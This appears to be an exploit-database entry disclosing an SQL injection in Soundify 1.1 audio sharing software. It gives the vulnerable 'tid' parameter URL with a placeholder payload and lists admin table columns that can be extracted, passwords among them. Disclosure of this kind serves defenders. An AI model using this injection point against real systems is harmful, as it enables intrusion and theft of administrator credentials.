发布 2017-03-09 漏洞条目

Soundify 1.1 – ‘tid’ SQL Injection

Exploit Source

# # # # #

# Exploit Title: Soundify - Audio Sharing Software v1.1 - SQL Injection

# Google Dork: N/A

# Date: 09.03.2017

# Vendor Homepage: https://www.ncrypted.net/

# Software: https://www.ncrypted.net/soundify

# Demo: http://demo.ncryptedprojects.com/soundify/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail : ihsan[@]ihsan[.]net

# # # # #

# SQL Injection/Exploit :

# http://localhost/[PATH]/player?tid=[SQL]

# tbl_admin :adminId

# tbl_admin :firstName

# tbl_admin :userName

# tbl_admin :adminEmail

# tbl_admin :passWord

# tbl_admin :adminType

# Etc..

# # # # #

相关漏洞条目